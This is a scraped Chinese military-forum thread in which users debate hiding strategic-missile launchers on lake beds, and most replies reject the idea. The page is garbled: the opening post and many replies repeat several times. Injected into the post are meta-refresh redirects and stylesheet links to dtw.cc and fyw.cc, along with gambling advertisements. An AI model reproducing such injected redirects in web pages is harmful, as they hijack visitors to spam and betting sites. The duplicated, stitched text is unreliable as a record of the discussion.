战略导弹发射新方式
来源:百度文库 编辑:超级军网 时间:2024/04/27 22:55:21
<br /><br />中午无聊,突发一想能能将我国的战略导弹发射新增加一种发射方式,即综合水下发射的优点和陆上发射对方难以进行反潜的优点结合起来,在我国广大的国土面积上选很多水深在50米左右,水底地势平坦,且为硬质石底的湖泊,在其湖底附近挖一洞穴,与地面想通,然后设计生产一种水下可移动的发射车,此车平时隐藏于湖附近的山洞中,战时利用自身的动力在湖底的几公里范围内小规模运动,这样既能彻底破掉敌人的反潜兵力,又能利用湖水作为天然障碍和水下移动的优势使对方难于对我核阵地进行精确打击,而且我感觉这种水下发射装置的运行水深较浅,运行环境也远远比海里要求要低,又是在自家的土地上,因此该装置的设计和制造都远比核潜艇要简单得多,成本也要小得多,同时
湖底水流相对于海底水流稳定,而且又可以在湖底提前预设几个发射点,这样精度也比潜艇上的导弹要高得多。
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球←篮球...各类投注←开户下注
<P> </P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台<br /><br />中午无聊,突发一想能能将我国的战略导弹发射新增加一种发射方式,即综合水下发射的优点和陆上发射对方难以进行反潜的优点结合起来,在我国广大的国土面积上选很多水深在50米左右,水底地势平坦,且为硬质石底的湖泊,在其湖底附近挖一洞穴,与地面想通,然后设计生产一种水下可移动的发射车,此车平时隐藏于湖附近的山洞中,战时利用自身的动力在湖底的几公里范围内小规模运动,这样既能彻底破掉敌人的反潜兵力,又能利用湖水作为天然障碍和水下移动的优势使对方难于对我核阵地进行精确打击,而且我感觉这种水下发射装置的运行水深较浅,运行环境也远远比海里要求要低,又是在自家的土地上,因此该装置的设计和制造都远比核潜艇要简单得多,成本也要小得多,同时
湖底水流相对于海底水流稳定,而且又可以在湖底提前预设几个发射点,这样精度也比潜艇上的导弹要高得多。
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球←篮球...各类投注←开户下注
<P> </P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台
湖底水流相对于海底水流稳定,而且又可以在湖底提前预设几个发射点,这样精度也比潜艇上的导弹要高得多。
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球←篮球...各类投注←开户下注
<P> </P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台<br /><br />中午无聊,突发一想能能将我国的战略导弹发射新增加一种发射方式,即综合水下发射的优点和陆上发射对方难以进行反潜的优点结合起来,在我国广大的国土面积上选很多水深在50米左右,水底地势平坦,且为硬质石底的湖泊,在其湖底附近挖一洞穴,与地面想通,然后设计生产一种水下可移动的发射车,此车平时隐藏于湖附近的山洞中,战时利用自身的动力在湖底的几公里范围内小规模运动,这样既能彻底破掉敌人的反潜兵力,又能利用湖水作为天然障碍和水下移动的优势使对方难于对我核阵地进行精确打击,而且我感觉这种水下发射装置的运行水深较浅,运行环境也远远比海里要求要低,又是在自家的土地上,因此该装置的设计和制造都远比核潜艇要简单得多,成本也要小得多,同时
湖底水流相对于海底水流稳定,而且又可以在湖底提前预设几个发射点,这样精度也比潜艇上的导弹要高得多。
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)足球←篮球...各类投注←开户下注
<P> </P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台
以上为本人的无聊之想,如有广大同好看到敬请猛拍砖。如能真为老总们所采纳,那才真是祖宗显灵。
接着完善:我想这种方式不需要在水下长时间呆也就省了核反应堆,也不需要庞大的水下人员生活设施,因此这些都极大的省了相对于制造核潜艇的大笔费用,只需要一种大的电动车,在战时从湖底附近的山洞直接开在预期的水下发射点即可,水下运行时间短,要求低(相对于潜艇),对设备的设计又能起到很大的简化作用。同时水和山洞的两重保护作用也使其生存能力高过普通的纯陆上机动发射。
恭喜乃,电视剧《导弹旅长》的导演也是这样想的。
一盆冷水从头到脚,我还以为我第一个想出来呢,我火星了。我OUT了。都怪我从来不看去看那些肥皂剧,我后悔啊ING
其实大米当年也有这样的想法。只不过用的不是水底车,而是用小型潜艇(个人感觉小潜艇应该比大型水底车的技术难度更低)。艇身很细,一左一右挎两个大发射筒。平时在五大湖区的水下飘来飘去,当有任务的时候,就把两个发射筒竖起(转轴在中部)。
个人感觉这个项目可行性还是不错的,不过后来据说是以效费比的原因给枪毙了。
个人感觉这个项目可行性还是不错的,不过后来据说是以效费比的原因给枪毙了。
按我设想如果直接用履带车在经过平整的湖底逛来逛去(范围不需要太大,只要有几公里的移动范围那就足够对方头痛的了)其费效比应该远大于战略核潜艇,因为这东西不比航母需要经常去别人家门外转悠表威的。只要射程够,这东西越隐蔽越好。而且在一定程度上还可减少攻击核潜艇数量。因为它不需要其它潜艇给它护航。而且在我国内陆湖是任何敌反潜力量都无可奈何的。一个湖底基地布置12枚左右那整个寿命费用肯定远小于核潜艇。
不需要,铁路机动就可以了
dgsrpcb888 发表于 2009-8-8 19:22
这个生存能力未必比发射井高吧
想完全瞒住敌人不太可能,核弹水下爆炸的话杀伤半径好像只有更大
大不了饱和个三五个弹头,能端掉你十几个载具也赚了
这个生存能力未必比发射井高吧
想完全瞒住敌人不太可能,核弹水下爆炸的话杀伤半径好像只有更大
大不了饱和个三五个弹头,能端掉你十几个载具也赚了
老美在研发俄亥俄之前也想过了
没通过
生存能力还是差。
没通过
生存能力还是差。
我认为平时放在湖底深处的洞内导弹,的生存能力和隐蔽性要远高于地井发射。首先这个用卫星发现的概率要小于地井和路基,而且湖底只是一个发射场地,所以即时在战时敌方的核弹能对一个甚大的湖泊有多少损坏还是个未知数(特别是象我国几十上百平方公里的湖泊不知有多少)。因为这个湖底洞口在那里,有几个洞口,湖底的预计的发射点在那里,而且这些都不是类似于陆基或铁路基那样能在平时的训练或演习中管窥一二或靠爬墙党,偷拍党能看得到的。
LZ的创新精神还是值得肯定的
基于地球上存在一种叫做间谍的职业
就不能把宝完全压在别人不知道上
而且,不要对中国湖泊状况太乐观,这可是百年大计
如果前脚挖完,后脚发现湖泊干涸或者水位大降,这就好玩了……
http://www.eedu.org.cn/Article/e ... r/200711/18244.html
全国大于10平方公里的天然湖泊已经从《中国湖泊志》统计的656个减少到目前的581个,总面积从85256.94平方公里缩小到目前的 68671.58平方公里。
在大于10平方公里的581个天然湖泊中,
面积大于1000平方公里的11个,合计面积22598平方公里,占总面积的 32.9%
面积在1000~500平方公里的14个,合计面积9291.48平方公里占13.5%
面积在500~100平方公里的102个,合计面积21553.66平方公里,占31.4%
面积在100~50平方公里的95个,合计面积6733.17平方公里,占9.8%
面积在50~10平方公里的359个,合计面积8495.1平方公里,占12.4%
这其中还有不少湖泊位于青藏高原
就不能把宝完全压在别人不知道上
而且,不要对中国湖泊状况太乐观,这可是百年大计
如果前脚挖完,后脚发现湖泊干涸或者水位大降,这就好玩了……
http://www.eedu.org.cn/Article/e ... r/200711/18244.html
全国大于10平方公里的天然湖泊已经从《中国湖泊志》统计的656个减少到目前的581个,总面积从85256.94平方公里缩小到目前的 68671.58平方公里。
在大于10平方公里的581个天然湖泊中,
面积大于1000平方公里的11个,合计面积22598平方公里,占总面积的 32.9%
面积在1000~500平方公里的14个,合计面积9291.48平方公里占13.5%
面积在500~100平方公里的102个,合计面积21553.66平方公里,占31.4%
面积在100~50平方公里的95个,合计面积6733.17平方公里,占9.8%
面积在50~10平方公里的359个,合计面积8495.1平方公里,占12.4%
这其中还有不少湖泊位于青藏高原
这个东西机动性能太差,长期保持战斗力也很难的
falconli 发表于 2009-8-8 21:25
不是说生存能力差,是没法稳定
上万吨的潜艇发射一枚导弹都要一大堆设备来保持稳定
这么小的潜艇一下子打出一枚那么重的导弹,翻船的可能性相当大
另外就是潜艇数量太多,没法指挥了
不是说生存能力差,是没法稳定
上万吨的潜艇发射一枚导弹都要一大堆设备来保持稳定
这么小的潜艇一下子打出一枚那么重的导弹,翻船的可能性相当大
另外就是潜艇数量太多,没法指挥了
记得好像有个讨论在贝加尔湖藏SSBN的帖子
在水里爆一个核弹头杀伤力更大啊!
脱裤子放屁……
这问题我以前也考虑过, 不过后来查了下资料, 发现并不上算, 1个2万吨TNT当量的核弹在水中爆炸的话, 就可以击沉半径2公里以内水域内的全部潜艇,一个100万吨TNT当量的核弹在水中爆炸的话, 基本可以全灭一个中等湖内全部潜艇。
另外, 部署在内湖, 运输,保养和环境安全都是问题。
因此, 这么部署, 生存能力并不高,效费比还不如加固的核弹发射井合算呢,其实如果把核弹发射井分散地部署在丛山之中的话, 生存能力是非常高的, 核武器别看爆炸当量大, 其实冲击波如果仅仅是空气, 而不是水的话, 能量衰竭得很快, 而山体对能量的吸收作用是很强的.
另外, 部署在内湖, 运输,保养和环境安全都是问题。
因此, 这么部署, 生存能力并不高,效费比还不如加固的核弹发射井合算呢,其实如果把核弹发射井分散地部署在丛山之中的话, 生存能力是非常高的, 核武器别看爆炸当量大, 其实冲击波如果仅仅是空气, 而不是水的话, 能量衰竭得很快, 而山体对能量的吸收作用是很强的.
狐心 发表于 2009-8-9 00:44
而且湖泊水深有限,估计核爆作用范围比在大洋中只有更大……
弄不好整个湖底都能被兜底翻上天
而且湖泊水深有限,估计核爆作用范围比在大洋中只有更大……
弄不好整个湖底都能被兜底翻上天
dgsrpcb888 发表于 2009-8-8 21:50
隐蔽性多高都还是在那么一丁点的地方,随便一个蛋蛋就把你给爆了~
还比不上原来铁路的,伪装成普通列车,可以全国跑~
隐蔽性多高都还是在那么一丁点的地方,随便一个蛋蛋就把你给爆了~
还比不上原来铁路的,伪装成普通列车,可以全国跑~
想像挺丰富。幸亏你不是那老总。。哎
月冷 发表于 2009-8-8 18:42
介个导演估计也是从......俺那里听说的.:P
介个导演估计也是从......俺那里听说的.:P
歪招。关键是要提高数量。
这个想法貌似很多年前就被人想出来了,不过,人家反弹道导弹条约早就列明了这是禁止事项
别以为人家查不到,这要查很容易的,
至于那些不在条约里的国家,像金胖子之流的,楼主以为他们有这样的能力么
别以为人家查不到,这要查很容易的,
至于那些不在条约里的国家,像金胖子之流的,楼主以为他们有这样的能力么
貌似MD在6、70年代讨论过这个事情啊……
人家米帝在60-70年代的战略导弹部署方式想了无数中,我昨天还跟战场文集上研究呢。。。米帝果然能人所不能啊。。。竟然还有500米岩层下的部署方式。。。当然实现了的仅仅几种而已,其他的要么花费太大,要么有缺陷
这种发射方式肯定不可以,无论是公路机动,铁路机动或者是核潜艇机动,对方的核打击不能将所有的核力量消灭,但是如果你是在湖底,人家摸清了给你一个一锅端,到时候哭都来不及
其实我初中的时候设想过在台湾海峡海底建筑鱼雷和反舰导弹发射基地,感觉也挺不错的
路过...
我一年前也有过这样的想法,后来自己否定掉了。
就算人家定位你的平台不容易,但定位你的湖泊还是很容易的。
到时候,就等着煮饺子吧
现在又有什么巡飞弹之类的集侦查,搜索,打击于一体的东西。
常规方法一样搞定你,你还无法实施核报复。《巡航者》讨论过这个问题。
就算人家定位你的平台不容易,但定位你的湖泊还是很容易的。
到时候,就等着煮饺子吧
现在又有什么巡飞弹之类的集侦查,搜索,打击于一体的东西。
常规方法一样搞定你,你还无法实施核报复。《巡航者》讨论过这个问题。
LZ要是真的有兴趣研究这个问题,可以多看看当年米帝的各种方案
比这还玄乎的都多了去了
比这还玄乎的都多了去了
胡的位置是死的.符合你的条件湖的数量是有限的.美国只要集中打击符合条件的几个胡就可以了.
铁路,公路机动生存才是正道.
正所谓:无坚不摧,唯快不破
铁路,公路机动生存才是正道.
正所谓:无坚不摧,唯快不破
晕,去过广西的十万大山没有,那一个山连山啊,在当中放那么几十个弹弹,不但MD头痛,自己人想找也是头痛。。。而且在山区的核爆效果很差,想像一下,周围都是几百几千米高的大山,那冲击波能冲到哪??
我们都是奥特曼了{:3_89:}
人家MD一个核弹打过来,就一锅端了